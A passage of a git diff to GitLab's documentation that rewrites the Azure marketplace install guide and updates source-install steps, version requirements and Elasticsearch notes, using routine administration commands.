+ If not, you can [open your own Azure account for free](https://azure.microsoft.com/en-us/free/).
+ Azure's free trial gives you $200 credit to explore Azure for 30 days.
+ [Read more in Azure's comprehensive FAQ](https://azure.microsoft.com/en-us/free/free-account-faq/).
+- If you have an MSDN subscription, you can activate your Azure subscriber benefits. Your MSDN
+ subscription gives you recurring Azure credits every month, so you can use
+ those credits and try out GitLab.
-Next, you need to choose the size of your VM - selecting features such as the number of CPU cores,
-the amount of RAM, the size of storage (and its speed), etc.
+## Deploy and configure GitLab
-NOTE:
-In common with other cloud vendors, Azure operates a resource/usage pricing model, i.e.
-the more resources your VM consumes the more it will cost you to run, so make your selection
-carefully. You'll see that Azure provides an _estimated_ monthly cost beneath each VM Size to help
-guide your selection.
+Because GitLab is already installed in a pre-configured image, all you have to do is
+create a new VM:
-The default size - the lowest cost **"DS1_V2 Standard"** VM - meets the minimum system requirements
-to run a small GitLab environment for testing and evaluation purposes, and so we're going to go
-ahead and select this one, but please choose the size which best meets your own requirements:
+1. [Visit the GitLab offering in the marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/gitlabinc1586447921813.gitlabee?tab=Overview)
+1. Select **Get it now** and you will be presented with the **Create this app in Azure** window.
+ Select **Continue**.
+1. Select one of the following options from the Azure portal:
+ - Select **Create** to create a VM from scratch.
+ - Select **Start with a pre-set configuration** to get started with some
+ pre-configured options. You can modify these configurations at any time.
-![Azure - Create Virtual Machine - Size](img/azure-create-virtual-machine-size.png)
+For the sake of this guide, we'll create the VM from scratch, so
+select **Create**.
NOTE:
-Be aware that while your VM is active (known as "allocated"), it will incur
-"compute charges" which, ultimately, you will be billed for. So, even if you're using the
-free trial credits, you'll likely want to learn
+Be aware that while your VM is active (known as "allocated"), it incurs
+compute charges for which you'll be billed. Even if you're using the
+free trial credits, you'll want to know
[how to properly shutdown an Azure VM to save money](https://build5nines.com/properly-shutdown-azure-vm-to-save-money/).
+See the [Azure pricing calculator](https://azure.microsoft.com/en-us/pricing/calculator/)
+to learn how much resources can cost.
-Go ahead and click your chosen size, then click **"Select"** when you're ready to proceed to the
-next step.
+After you create the virtual machine, use the information in the following
+sections to configure it.
-## Settings
+### Configure the Basics tab
-On the next blade, you're asked to configure the Storage, Network and Extension settings.
-We've gone with the default settings as they're sufficient for test-driving GitLab, but please
-choose the settings which best meet your own requirements:
+The first items you need to configure are the basic settings of the underlying virtual machine:
-![Azure - Create Virtual Machine - Settings](img/azure-create-virtual-machine-settings.png)
+1. Select the subscription model and a resource group (create a new one if it
+ doesn't exist).
+1. Enter a name for the VM, for example `GitLab`.
+1. Select a region.
+1. In **Availability options**, select **Availability zone** and set it to `1`.
+ Read more about the [availability zones](https://docs.microsoft.com/en-us/azure/virtual-machines/availability).
+1. Ensure the selected image is set to **GitLab - Gen1**.
+1. Select the VM size based on the [hardware requirements](../requirements.md#hardware-requirements).
+ Because the minimum system requirements to run a GitLab environment for up to 500 users
+ is covered by the `D4s_v3` size, select that option.
+1. Set the authentication type to **SSH public key**.
+1. Enter a user name or leave the one that is automatically created. This is
+ the user you'll use to connect to the VM through SSH. By default, the user
+ has root access.
+1. Determine if you want to provide your own SSH key or let Azure create one for you.
+ Read the [SSH documentation](../../ssh/README.md) to learn more about how to set up SSH
+ public keys.
-Review the settings and then click **"OK"** when you're ready to proceed to the last step.
+Review your entered settings, and then proceed to the Disks tab.
-## Purchase
+### Configure the Disks tab
-The Purchase page is the last step and here you will be presented with the price per hour for your
-new VM. You'll be billed only for the VM itself (e.g. "Standard DS1 v2") because the
-**"GitLab Community Edition"** marketplace solution is free to use at 0 USD/hr:
+For the disks:
-![Azure - Create Virtual Machine - Purchase](img/azure-create-virtual-machine-purchase.png)
+1. For the OS disk type, select **Premium SSD**.
+1. Select the default encryption.
-NOTE:
-At this stage, you can review and modify the any of the settings you have made during all
-previous steps, just click on any of the four steps to re-open them.
+[Read more about the types of disks](https://docs.microsoft.com/en-us/azure/virtual-machines/managed-disks-overview) that Azure provides.
-When you have read and agreed to the terms of use and are ready to proceed, click **"Purchase"**.
+Review your settings, and then proceed to the Networking tab.
-## Deployment
+### Configure the Networking tab
-At this point, Azure will begin deploying your new VM. The deployment process will take a few
-minutes to complete, with progress displayed on the **"Deployment"** blade:
+Use this tab to define the network connectivity for your
+virtual machine, by configuring network interface card (NIC) settings.
+You can leave them at their default settings.
-![Azure - Create Virtual Machine - Deployment](img/azure-create-virtual-machine-deployment.png)
+Azure creates a security group by default and the VM is assigned to it.
+The GitLab image in the marketplace has the following ports open by default:
-Once the deployment process is complete, the new VM and its associated resources will be displayed
-on the Azure Dashboard (you may need to refresh the page):
+| Port | Description |
+|------|-------------|
+| 80 | Enable the VM to respond to HTTP requests, allowing public access. |
+| 443 | Enable our VM to respond to HTTPS requests, allowing public access. |
+| 22 | Enable our VM to respond to SSH connection requests, allowing public access (with authentication) to remote terminal sessions. |
-![Azure - Dashboard - All resources](img/azure-dashboard-running-resources.png)
+If you want to change the ports or add any rules, you can do it
+after the VM is created by going to the Networking settings in the left sidebar,
+while in the VM dashboard.
-The new VM can also be accessed by clicking the `All resources` or `Virtual machines` icons in the
-Azure Portal sidebar navigation menu.
+### Configure the Management tab
-## Set up a domain name
+Use this tab to configure monitoring and management options
+for your VM. You don't need to change the default settings.
-The VM will have a public IP address (static by default), but Azure allows us to assign a friendly
-DNS name to the VM, so let's go ahead and do that.
+### Configure the Advanced tab
-From the Dashboard, click on the **"GitLab-CE"** tile to open the management blade for the new VM.
-The public IP address that the VM uses is shown in the 'Essentials' section:
+Use this tab to add additional configuration, agents, scripts
+or applications through virtual machine extensions or `cloud-init`. You don't
+need to change the default settings.
-![Azure - VM - Management - Public IP Address](img/azure-vm-management-public-ip.png)
+### Configure the Tags tab
-Click on the public IP address - which should open the **"Public IP address - Configuration"** blade,
-then click on **"Configuration"** (under "Settings"). Now enter a friendly DNS name for your instance
-in the `DNS name label` field:
+Use this tab to add name/value pairs that enable you to categorize
+resources. You don't need to change the default settings.
-![Azure - VM - Domain Name](img/azure-vm-domain-name.png)
+### Review and create the VM
-In the screenshot above, you'll see that we've set the `DNS name label` to `gitlab-ce-test`.
-This will make our VM accessible at `gitlab-ce-test.centralus.cloudapp.azure.com`
-_(the full domain name of your own VM will be different, of course)_.
+The final tab presents you with all of your selected options,
+where you can review and modify your choices from the
+previous steps. Azure will run validation tests in the background,
+and if you provided all of the required settings, you can
+create the VM.
-Click **"Save"** for the changes to take effect.
+After you select **Create**, if you had opted for Azure to create an SSH key pair
+for you, you'll be asked to download the private SSH key. Download the key, as you'll
+need it to SSH into the VM.
-NOTE:
-If you want to use your own domain name, you will need to add a DNS `A` record at your
-domain registrar which points to the public IP address of your Azure VM. If you do this, you'll need
-to make sure your VM is configured to use a _static_ public IP address (i.e. not a _dynamic_ one)
-or you will have to reconfigure the DNS `A` record each time Azure reassigns your VM a new public IP
-address. Read [Public IP addresses](https://docs.microsoft.com/en-us/azure/virtual-network/public-ip-addresses) to learn more.
-
-## Let's open some ports
-
-At this stage you should have a running and fully operational VM. However, none of the services on
-your VM (e.g. GitLab) will be publicly accessible via the internet until you have opened up the
-necessary ports to enable access to those services.
-
-Ports are opened by adding _security rules_ to the **"Network security group"** (NSG) which our VM
-has been assigned to. If you followed the process above, then Azure will have automatically created
-an NSG named `GitLab-CE-nsg` and assigned the `GitLab-CE` VM to it.
+After you download the key, the deployment begins.
-NOTE:
-If you gave your VM a different name then the NSG automatically created by Azure will
-also have a different name - the name you have your VM, with `-nsg` appended to it.
+### Finish deployment
-You can navigate to the NSG settings via many different routes in the Azure Portal, but one of the
-simplest ways is to go to the Azure Dashboard, and then click on the Network Security Group listed
-in the **"All resources"** tile:
+At this point, Azure begins to deploy your new VM. The deployment process
+takes a few minutes to complete. After it's complete, the new VM and its
+associated resources are displayed on the Azure Dashboard.
+Select **Go to resource** to visit the dashboard of the VM.
-![Azure - Dashboard - All resources - Network security group](img/azure-dashboard-highlight-nsg.png)
+GitLab is now deployed and ready to be used. Before doing so, however,
+you need to set up the domain name and configure GitLab to use it.
-With the **"Network security group"** blade open, click on **"Inbound security rules"** under
-**"Settings"**:
+### Set up a domain name
-![Azure - Network security group - Inbound security rules](img/azure-nsg-inbound-sec-rules-highlight.png)
+The VM has a public IP address (static by default), but Azure allows you
+to assign a descriptive DNS name to the VM:
-Next, click **"Add"**:
+1. From the VM dashboard, select **Configure** under **DNS name**.
+1. Enter a descriptive DNS name for your instance in the **DNS name label** field,
+ for example `gitlab-prod`. This will make the VM accessible at
+ `gitlab-prod.eastus.cloudapp.azure.com`.
+1. Select **Save** for the changes to take effect.
-![Azure - Network security group - Inbound security rules - Add](img/azure-nsg-inbound-sec-rules-add-highlight.png)
+Eventually, you'll want to use your own domain name. To do this, you need to add a DNS `A` record
+with your domain registrar that points to the public IP address of your Azure VM.
+You can use [Azure's DNS](https://docs.microsoft.com/en-us/azure/dns/dns-delegate-domain-azure-dns)
+or some [other registrar](https://docs.gitlab.com/omnibus/settings/dns.html).
-### Which ports to open?
+### Change the GitLab external URL
-Like all servers, our VM will be running many services. However, we want to open up the correct
-ports to enable public internet access to two services in particular:
+GitLab uses `external_url` in its configuration file to set up the domain name.
+If you don't set this up, when you visit the Azure friendly name, you'll
+instead be redirected to the public IP.
-1. **HTTP** (port 80) - opening port 80 will enable our VM to respond to HTTP requests, allowing
- public access to the instance of GitLab running on our VM.
-1. **SSH** (port 22) - opening port 22 will enable our VM to respond to SSH connection requests,
- allowing public access (with authentication) to remote terminal sessions
- _(you'll see why we need [SSH](https://en.wikipedia.org/wiki/Secure_Shell) access to our VM [later on in this tutorial](#maintaining-your-gitlab-instance))_
+To set up the GitLab external URL:
-### Open HTTP on Port 80
+1. Connect to GitLab through SSH by going to **Settings > Connect** from the VM
+ dashboard, and follow the instructions. Remember to sign in with the username
+ and SSH key you specified when you [created the VM](#configure-the-basics-tab).
+ The Azure VM domain name will be the one you
+ [set up previously](#set-up-a-domain-name). If you didn't set up a domain name for
+ your VM, you can use the IP address in its place.
-In the **"Add inbound security rule"** blade, let's open port 80 so that our VM will accept HTTP
-connections:
+ In the case of our example:
-![Azure - Add inbound security rules - HTTP](img/azure-add-inbound-sec-rule-http.png)
+ ```shell
+ ssh -i <private key path> gitlab-azure@gitlab-prod.eastus.cloudapp.azure.com
+ ```
-1. Enter **"HTTP"** in the `Name` field
-1. Select **HTTP** from the options in the `Service` dropdown list
-1. Make sure the `Action` is set to **Allow**
-1. Click **"OK"**
+ NOTE:
+ If you need to reset your credentials, read
+ [how to reset SSH credentials for a user on an Azure VM](https://docs.microsoft.com/en-us/troubleshoot/azure/virtual-machines/troubleshoot-ssh-connection#reset-ssh-credentials-for-a-user).
-### Open SSH on Port 22
+1. Open `/etc/gitlab/gitlab.rb` with your editor.
+1. Find `external_url` and replace it with your own domain name. For the sake
+ of this example, we'll use the friendly domain name that Azure set up.
+ If you use `https` in the URL, Let's Encrypt will be
+ [automatically enabled](https://docs.gitlab.com/omnibus/settings/ssl.html#lets-encrypt-integration),
+ and you'll have HTTPS by default:
-Repeat the above process, adding a second Inbound security rule to open port 22, enabling our VM to
-accept [SSH](https://en.wikipedia.org/wiki/Secure_Shell) connections:
+ ```ruby
+ external_url 'https://gitlab-prod.eastus.cloudapp.azure.com'
+ ```
-![Azure - Add inbound security rules - SSH](img/azure-add-inbound-sec-rule-ssh.png)
+1. Find the following settings and comment them out, so that GitLab doesn't
+ pick up the wrong certificates:
-1. Enter **"SSH"** in the `Name` field
-1. Select **SSH** from the options in the `Service` dropdown list
-1. Make sure the `Action` is set to **Allow**
-1. Click **"OK"**
+ ```ruby
+ # nginx['redirect_http_to_https'] = true
+ # nginx['ssl_certificate'] = "/etc/gitlab/ssl/server.crt"
+ # nginx['ssl_certificate_key'] = "/etc/gitlab/ssl/server.key"
+ ```
-It will take a moment for Azure to add each new Inbound Security Rule (and you may need to click on
-**"Inbound security rules"** to refresh the list), but once completed, you should see the two new
-rules in the list:
+1. Reconfigure GitLab for the changes to take effect. Run the
+ following command every time you make changes to `/etc/gitlab/gitlab.rb`:
-![Azure - Inbound security rules - List](img/azure-inbound-sec-rules-list.png)
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
-## Connecting to GitLab
+You can now visit GitLab with your browser at the new external URL.
-Use the domain name you set up earlier (or the public IP address) to visit your new GitLab instance
-in your browser. If everything has gone according to plan you should be presented with the
-following page, asking you to set a _new_ password for the administrator account automatically
-created by GitLab:
+### Visit GitLab for the first time
-![GitLab - Change Password](img/gitlab-change-password.png)
+Use the domain name you set up earlier to visit your new GitLab instance
+in your browser. In this example, it's `https://gitlab-prod.eastus.cloudapp.azure.com`.
-Enter your _new_ password into both form fields, and then click **"Change your password"**.
+The first thing you'll see is the sign-in page. GitLab creates an admin user by default.
+The credentials are:
-Once you have changed the password you will be redirected to the GitLab login page. Use `root` as
-the username, enter the new password you set in the previous step, and then click **"Sign in"**:
+- Username: `root`
+- Password: the password is automatically created, and there are [two ways to
+ find it](https://docs.bitnami.com/azure/faq/get-started/find-credentials).
-![GitLab - Login](img/gitlab-login.png)
+After signing in, be sure to immediately [change the password](../../user/profile/index.md#change-your-password).
-### Success?
+## Maintain your GitLab instance
-After signing in successfully, you should see the GitLab Projects page displaying a
-**"Welcome to GitLab!"** message:
+It's important to keep your GitLab environment up-to-date. The GitLab team is constantly making
+enhancements and occasionally you may need to update for security reasons. Use the information
+in this section whenever you need to update GitLab.
-![GitLab - Projects Page](img/gitlab-home.png)
+### Check the current version
-If so, you now have a working GitLab instance on your own private Azure VM. **Congratulations!**
+To determine the version of GitLab you're currently running,
+go to the **{admin}** **Admin Area**, and you will find the version
+under the **Components** table.
-## Creating your first GitLab project
+If there's a newer available version of GitLab that contains one or more
+security fixes, GitLab displays an **Update asap** notification message that
+encourages you to [update](#update-gitlab).
-You can skip this section if you are familiar with Git and GitLab. Otherwise, let's create our first
-project. From the Welcome page, click **"New Project"**.
+### Update GitLab
-Let's give our project a name and a description, and then accept the default values for everything
-else:
+To update GitLab to the latest version:
-1. Enter **"demo"** into the `Project path` project name field
-1. Enter a `description`, e.g. **"My awesome demo project!"**
-1. Click **"Create project"**
+1. Connect to the VM through SSH.
+1. Update GitLab:
-![GitLab - New Project](img/gitlab-new-project.png)
+ ```shell
+ sudo apt update
+ sudo apt install gitlab-ee
+ ```
-Once the new project has been created (which should only take a moment), you'll be redirected to
-homepage for the project:
+ This command updates GitLab and its associated components to the latest versions,
+ and can take time to complete. You'll see various update tasks being
+ completed in your terminal.
-![GitLab - Empty Project](img/gitlab-project-home-empty.png)
+ NOTE:
+ If you get an error like
+ `E: The repository 'https://packages.gitlab.com/gitlab/gitlab-ee/debian buster InRelease' is not signed.`,
+ see the [troubleshooting section](#update-the-gpg-key-for-the-gitlab-repositories).
-If you scroll further down the project's home page, you'll see some basic instructions on how to
-set up a local clone of your new repository and push and pull from it:
+1. After the update process is complete, you'll see a message like the
+ following:
-![GitLab - Empty Project - Basic Instructions](img/gitlab-project-home-instructions.png)
+ ```plaintext
+ Upgrade complete! If your GitLab server is misbehaving try running
-**That's it! You now have your own private GitLab environment installed and running in the cloud!**
+ sudo gitlab-ctl restart
-## Maintaining your GitLab instance
+ before anything else.
+ ```
-It's important to keep your GitLab environment up-to-date. The GitLab team is constantly making
-enhancements and occasionally you may need to update for security reasons. So let's review how to
-update GitLab.
+Refresh your GitLab instance in the browser and go to the Admin Area. You should now have an
+up-to-date GitLab instance.
-### Checking our current version
+## Next steps and further configuration
-To check which version of GitLab we're currently running, click on the "Admin Area" link - it's the
-the wrench icon displayed in the top-right, next to the search box.
+Now that you have a functional GitLab instance, follow the
+[next steps](../index.md#next-steps) to learn what more you can do with your
+new installation.
-In the following screenshot you can see an **"update asap"** notification message in the top-right.
-This particular message indicates that there is a newer version of GitLab available which contains
-one or more security fixes:
+## Troubleshooting
-![GitLab - update asap](img/gitlab-admin-area.png)
+This section describes common errors you can encounter.
-Under the **"Components"** section, we can see that our VM is currently running version `8.6.5` of
-GitLab. This is the version of GitLab which was contained in the Azure Marketplace
-**"GitLab Community Edition"** offering we used to build the VM when we wrote this tutorial.
+### Update the GPG key for the GitLab repositories
NOTE:
-The version of GitLab in your own VM instance may well be different, but the update
-process will still be the same.
-
-### Connect via SSH
-
-To perform an update, we need to connect directly to our Azure VM instance and run some commands
-from the terminal. Our Azure VM is actually a server running Linux (Ubuntu), so we'll need to
-connect to it using SSH ([Secure Shell](https://en.wikipedia.org/wiki/Secure_Shell)).
-
-If you're running Windows, you'll need to connect using [PuTTY](https://www.putty.org) or an equivalent Windows SSH client.
-If you're running Linux or macOS, then you already have an SSH client installed.
+This is a temporary fix until the GitLab image is updated with the new
+GPG key.
-Remember to sign in with the username and password you specified when you
-[created your Azure VM](#basics).
+The pre-configured GitLab image in Azure (provided by Bitnami) uses
+a GPG key [deprecated in April 2020](https://about.gitlab.com/blog/2020/03/30/gpg-key-for-gitlab-package-repositories-metadata-changing/).
-If you need to reset your VM password, read
-[how to reset SSH credentials for a user on an Azure VM](https://docs.microsoft.com/en-us/troubleshoot/azure/virtual-machines/troubleshoot-ssh-connection).
+If you try to update the repositories, you'll get the following error:
-#### SSH from the command-line
+<!-- vale gitlab.ReferenceLinks = NO -->
-If you're running [SSH](https://en.wikipedia.org/wiki/Secure_Shell) from the command-line (terminal), then type in the following command to
-connect to your VM, substituting `username` and `your-azure-domain-name.com` for the correct values.
-
-Again, remember that your Azure VM domain name will be the one you
-[set up previously in the tutorial](#set-up-a-domain-name). If you didn't set up a domain name for
-your VM, you can use the IP address in its place in the following command:
-
-```shell
-ssh username@your-azure-domain-name.com
+```plaintext
+[ 21.023494] apt-setup[1198]: W: GPG error: https://packages.gitlab.com/gitlab/gitlab-ee/debian buster InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 3F01618A51312F3F
+[ 21.024033] apt-setup[1198]: E: The repository 'https://packages.gitlab.com/gitlab/gitlab-ee/debian buster InRelease' is not signed.
```
-Provide your password at the prompt to authenticate.
+<!-- vale gitlab.ReferenceLinks = YES -->
-#### SSH from Windows (PuTTY)
-
-If you're using [PuTTY](https://www.putty.org) in Windows as your [SSH](https://en.wikipedia.org/wiki/Secure_Shell) client, then you might want to take a quick
-read on [using PuTTY in Windows](https://mediatemple.net/community/products/dv/204404604/using-ssh-in-putty-).
-
-### Updating GitLab
-
-After signing in by using SSH, enter the following command to update GitLab to
-the latest version:
+To fix this, fetch the new GPG key:
```shell
-sudo apt-get update && sudo apt-get install gitlab-ce
-```
-
-This command updates GitLab and its associated components to the latest versions,
-so it will take a little time to complete. You'll see various update tasks being
-completed in your SSH terminal window:
-
-![GitLab updating](img/gitlab-ssh-update-in-progress.png)
-
-After the update process is complete, you'll see a message like this:
-
-```plaintext
-Upgrade complete! If your GitLab server is misbehaving try running
-
- sudo gitlab-ctl restart
-
-before anything else.
+sudo apt install gpg-agent
+curl "https://gitlab-org.gitlab.io/omnibus-gitlab/gitlab_new_gpg.key" --output /tmp/omnibus_gitlab_gpg.key
+sudo apt-key add /tmp/omnibus_gitlab_gpg.key
```
-#### Check out your updated GitLab
-
-Refresh your GitLab instance in the browser and navigate to the Admin Area. You should now have an
-up-to-date GitLab instance.
-
-When we wrote this tutorial our Azure VM GitLab instance was updated to the latest version at time
-of writing (`9.4.0`). You can see that the message which was previously displaying **"update asap"**
-is now showing **"up-to-date"**:
-
-![GitLab up to date](img/gitlab-admin-area-9.4.0.png)
-
-## Conclusion
-
-Naturally, we believe that GitLab is a great Git repository tool. However, GitLab is a whole lot
-more than that too. GitLab unifies issues, code review, CI and CD into a single UI, helping you to
-move faster from idea to production, and in this tutorial we showed you how quick and easy it is to
-set up and run your own instance of GitLab on Azure, Microsoft's cloud service.
-
-Azure is a great way to experiment with GitLab, and if you decide (as we hope) that GitLab is for
-you, you can continue to use Azure as your secure, scalable cloud provider or of course run GitLab
-on any cloud service you choose.
-
-## Where to next?
-
-Check out our other [Technical Articles](../../topics/index.md) or browse the [GitLab Documentation](../../README.md) to learn more about GitLab.
-
-### Useful links
-
-- [GitLab Community Edition](https://about.gitlab.com/features/)
-- [GitLab Enterprise Edition](https://about.gitlab.com/features/#ee)
-- [Microsoft Azure](https://azure.microsoft.com/en-us/)
- - [Azure - Free Account FAQ](https://azure.microsoft.com/en-us/free/free-account-faq/)
- - [Azure - Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/)
- - [Azure Portal](https://portal.azure.com)
- - [Azure - Pricing Calculator](https://azure.microsoft.com/en-us/pricing/calculator/)
- - [Azure - Troubleshoot SSH Connections to an Azure Linux VM](https://docs.microsoft.com/en-us/troubleshoot/azure/virtual-machines/troubleshoot-ssh-connection)
- - [Azure - Properly Shutdown an Azure VM](https://build5nines.com/properly-shutdown-azure-vm-to-save-money/)
-- [SSH](https://en.wikipedia.org/wiki/Secure_Shell), [PuTTY](https://www.putty.org) and [Using SSH in PuTTY](https://mediatemple.net/community/products/dv/204404604/using-ssh-in-putty-)
-
-<!-- ## Troubleshooting
-
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support and to avoid doc comments with
-questions that you know someone might ask.
-
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+You can now [update GitLab](#update-gitlab). For more information, read about the
+[packages signatures](https://docs.gitlab.com/omnibus/update/package_signatures.html).
diff --git a/doc/install/installation.md b/doc/install/installation.md
index 8497b2b5269..eb8c3784cfa 100644
--- a/doc/install/installation.md
+++ b/doc/install/installation.md
@@ -131,22 +131,45 @@ that:
- Is always at the version required by GitLab.
- May contain custom patches required for proper operation.
-```shell
-# Install dependencies
-sudo apt-get install -y libcurl4-openssl-dev libexpat1-dev gettext libz-dev libssl-dev libpcre2-dev build-essential
+1. Install the needed dependencies:
-# Clone the Gitaly repository
-git clone https://gitlab.com/gitlab-org/gitaly.git -b <X-Y-stable> /tmp/gitaly
+ ```shell
+ sudo apt-get install -y libcurl4-openssl-dev libexpat1-dev gettext libz-dev libssl-dev libpcre2-dev build-essential git-core
+ ```
-# Compile and install Git
-cd /tmp/gitaly
-sudo make git GIT_PREFIX=/usr/local
-```
+1. Clone the Gitaly repository and compile Git. Replace `<X-Y-stable>` with the
+ stable branch that matches the GitLab version you want to install. For example,
+ if you want to install GitLab 13.6, use the branch name `13-6-stable`:
+
+ ```shell
+ git clone https://gitlab.com/gitlab-org/gitaly.git -b <X-Y-stable> /tmp/gitaly
+ cd /tmp/gitaly
+ sudo make git GIT_PREFIX=/usr/local
+ ```
+
+1. Optionally, you can remove the system Git and its dependencies:
+
+ ```shell
+ sudo apt remove -y git-core
+ sudo apt autoremove
+ ```
+
+When [editing `config/gitlab.yml` later](#configure-it), remember to change
+the Git path:
+
+- From:
+
+ ```yaml
+ git:
+ bin_path: /usr/bin/git
+ ```
-Replace `<X-Y-stable>` with the stable branch that matches the GitLab version you want to
-install. For example, if you want to install GitLab 13.6, use the branch name `13-6-stable`.
+- To:
-When editing `config/gitlab.yml` later, change the `git -> bin_path` to `/usr/local/bin/git`.
+ ```yaml
+ git:
+ bin_path: /usr/local/bin/git
+ ```
### GraphicsMagick
@@ -212,7 +235,7 @@ curl --remote-name --progress-bar "https://cache.ruby-lang.org/pub/ruby/2.7/ruby
echo 'cb9731a17487e0ad84037490a6baf8bfa31a09e8 ruby-2.7.2.tar.gz' | shasum -c - && tar xzf ruby-2.7.2.tar.gz
cd ruby-2.7.2
-./configure --disable-install-rdoc
+./configure --disable-install-rdoc --enable-shared
make
sudo make install
```
@@ -570,8 +593,8 @@ Install the gems (if you want to use Kerberos for user authentication, omit
`kerberos` in the `--without` option below):
```shell
-sudo -u git -H bundle config set deployment 'true'
-sudo -u git -H bundle config set without 'development test mysql aws kerberos'
+sudo -u git -H bundle config set --local deployment 'true'
+sudo -u git -H bundle config set --local without 'development test mysql aws kerberos'
sudo -u git -H bundle install
```
diff --git a/doc/install/pivotal/index.md b/doc/install/pivotal/index.md
index eee70c2c578..ef6eb378346 100644
--- a/doc/install/pivotal/index.md
+++ b/doc/install/pivotal/index.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
As of September 13, 2017, the GitLab Enterprise Plus for Pivotal Cloud Foundry
-tile on Pivotal Network has reached its End of Availability (“EoAâ€) and is no
+tile on Pivotal Network has reached its End of Availability ("EoA") and is no
longer available for download or sale through Pivotal. Current customers with
active subscriptions continue to receive support from GitLab through their
subscription term. Pivotal and GitLab are collaborating on creating a new
diff --git a/doc/install/postgresql_extensions.md b/doc/install/postgresql_extensions.md
index 8d5a2a79b72..663ec547733 100644
--- a/doc/install/postgresql_extensions.md
+++ b/doc/install/postgresql_extensions.md
@@ -15,6 +15,7 @@ The following extensions must be loaded into the GitLab database:
|--------------|------------------------|
| `pg_trgm` | 8.6 |
| `btree_gist` | 13.1 |
+| `plpgsql` | 11.7 |
In order to install extensions, PostgreSQL requires the user to have superuser privileges.
Typically, the GitLab database user is not a superuser. Therefore, regular database migrations
diff --git a/doc/install/relative_url.md b/doc/install/relative_url.md
index e0971d7f354..d04f55c43a3 100644
--- a/doc/install/relative_url.md
+++ b/doc/install/relative_url.md
@@ -24,8 +24,8 @@ Note that by changing the URL on an existing GitLab installation, all remote
URLs will change, so you'll have to manually edit them in any local repository
that points to your GitLab instance.
-The TL;DR list of configuration files that you need to change in order to
-serve GitLab under a relative URL is:
+The list of configuration files you must change to serve GitLab from a
+relative URL is:
- `/home/git/gitlab/config/initializers/relative_url.rb`
- `/home/git/gitlab/config/gitlab.yml`
diff --git a/doc/install/requirements.md b/doc/install/requirements.md
index a1343dd5f98..70e95e284a3 100644
--- a/doc/install/requirements.md
+++ b/doc/install/requirements.md
@@ -17,7 +17,8 @@ as the hardware requirements that are needed to install and use GitLab.
- Ubuntu (16.04/18.04/20.04)
- Debian (9/10)
- CentOS (7/8)
-- openSUSE (Leap 15.1/Enterprise Server 12.2)
+- openSUSE Leap (15.1/15.2)
+- SUSE Linux Enterprise Server (12 SP2/12 SP5)
- Red Hat Enterprise Linux (please use the CentOS packages and instructions)
- Scientific Linux (please use the CentOS packages and instructions)
- Oracle Linux (please use the CentOS packages and instructions)
@@ -66,6 +67,11 @@ The minimum required Go version is 1.13.
### Git versions
+From GitLab 13.11:
+
+- Git 2.31.x and later is required. We recommend you use the
+ [Git version provided by Gitaly](installation.md#git).
+
From GitLab 13.6:
- Git 2.29.x and later is required.
@@ -94,8 +100,8 @@ from source at the [Node.js website](https://nodejs.org/en/download/).
GitLab 13.0 and later requires Redis version 4.0 or higher.
-Redis version 5.0 or higher is recommended, as this is what ships with
-[Omnibus GitLab](https://docs.gitlab.com/omnibus/) packages starting with GitLab 12.7.
+Redis version 6.0 or higher is recommended, as this is what ships with
+[Omnibus GitLab](https://docs.gitlab.com/omnibus/) packages starting with GitLab 13.9.
## Hardware requirements
diff --git a/doc/integration/README.md b/doc/integration/README.md
index 9c3d39327f8..c725cc08556 100644
--- a/doc/integration/README.md
+++ b/doc/integration/README.md
@@ -63,7 +63,7 @@ or [Kroki](../administration/integration/kroki.md) to use diagrams in AsciiDoc a
## Integrations
-Integration with services such as Campfire, Flowdock, HipChat, Pivotal Tracker, and Slack are available as [Integrations](../user/project/integrations/overview.md).
+Integration with services such as Campfire, Flowdock, Jira, Pivotal Tracker, and Slack are available as [Integrations](../user/project/integrations/overview.md).
## Troubleshooting
diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md
index 5c9149ef49b..a6c3afceeea 100644
--- a/doc/integration/elasticsearch.md
+++ b/doc/integration/elasticsearch.md
@@ -91,6 +91,14 @@ Since Elasticsearch can read and use indices created in the previous major versi
The only thing worth noting is that if you have created your current index before GitLab 13.0, you might want to reindex from scratch (which will implicitly create an alias) in order to use some features, for example [Zero downtime reindexing](#zero-downtime-reindexing). Once you do that, you'll be able to perform zero-downtime reindexing and will benefit from any future features that make use of the alias.
+If you are unsure when your current index was created,
+you can check whether it was created after GitLab 13.0 by using the
+[Elasticsearch cat aliases API](https://www.elastic.co/guide/en/elasticsearch/reference/7.11/cat-alias.html).
+If the list of aliases returned contains an entry for `gitlab-production` that points to an index
+named `gitlab-production-<numerical timestamp>`, your index was created after GitLab 13.0.
+If the `gitlab-production` alias is missing, you'll need to reindex from scratch to use
+features such as Zero-downtime reindexing.
+
## Elasticsearch repository indexer
For indexing Git repository data, GitLab uses an [indexer written in Go](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer).
@@ -231,8 +239,8 @@ The following Elasticsearch settings are available:
| `AWS Secret Access Key` | The AWS secret access key. |
| `Maximum file size indexed` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-file-size-indexed). |
| `Maximum field length` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-field-length). |
-| `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by the GitLab Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch’s Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
